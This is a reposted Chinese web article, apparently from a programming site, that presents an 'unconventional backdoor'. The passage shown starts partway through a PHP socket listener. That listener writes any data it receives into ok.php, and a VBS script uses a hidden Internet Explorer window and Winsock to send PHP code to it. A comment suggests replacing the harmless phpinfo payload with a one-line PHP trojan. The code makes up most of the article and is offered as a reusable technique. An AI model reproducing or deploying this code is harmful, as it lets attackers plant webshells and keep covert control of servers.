非常棒的lcx写的非常规运行vbs
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
//开始监听链接 $result=socket_listen($socket,3)ordie("Couldnotsetupsocket listener\n"); //acceptincomingconnections //另一个Socket来处理通信 $spawn=socket_accept($socket)ordie("Couldnotacceptincoming connection\n"); //获得客户端的输入 $input=socket_read($spawn,1024)ordie("Couldnotreadinput\n"); //清空输入字符串 $input=trim($input);//将输入结果写入ok.php,这句是我加的 fputs(fopen(''ok.php'',''a+''),"$input"); //处理客户端输入并返回结果 $output=strrev($input)."\n"; socket_write($spawn,$output,strlen($output))ordie("Couldnotwrite output\n"); //关闭sockets socket_close($spawn); socket_close($socket); ?> ★ 在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下: ★ Setie=WScript.CreateObject("InternetExplorer.Application") ie.visible=false ie.Navigate"http://192.168.8.100/s.php"''s.php是服务端 Whileie.Busy WScript.Sleep100 Wend Do Wscript.Sleep200 LoopUntilie.ReadyState=4 Setsocket=WScript.CreateObject("MSWinsock.Winsock") socket.Protocol=0 socket.RemotePort="12345"''端口 socket.RemoteHost="192.168.8.100"''主机 socket.connectsocket.RemoteHost,socket.RemotePort''连接 WScript.sleep10 ddd="<?phpinfo();>"&Chr(13) ''这里你可以改成一句话的php木马 socket.SendDataddd WScript.sleep100 wscript.echo"ok" ''socket.senddataChr(13) socket.close Setie=nothing ★ 一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路,不是吗? |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: vbs实现压缩文件夹的脚本下一篇: vbs AD日志开启脚本nableKerbLog的脚本
关于非常棒的lcx写的非常规运行vbs的所有评论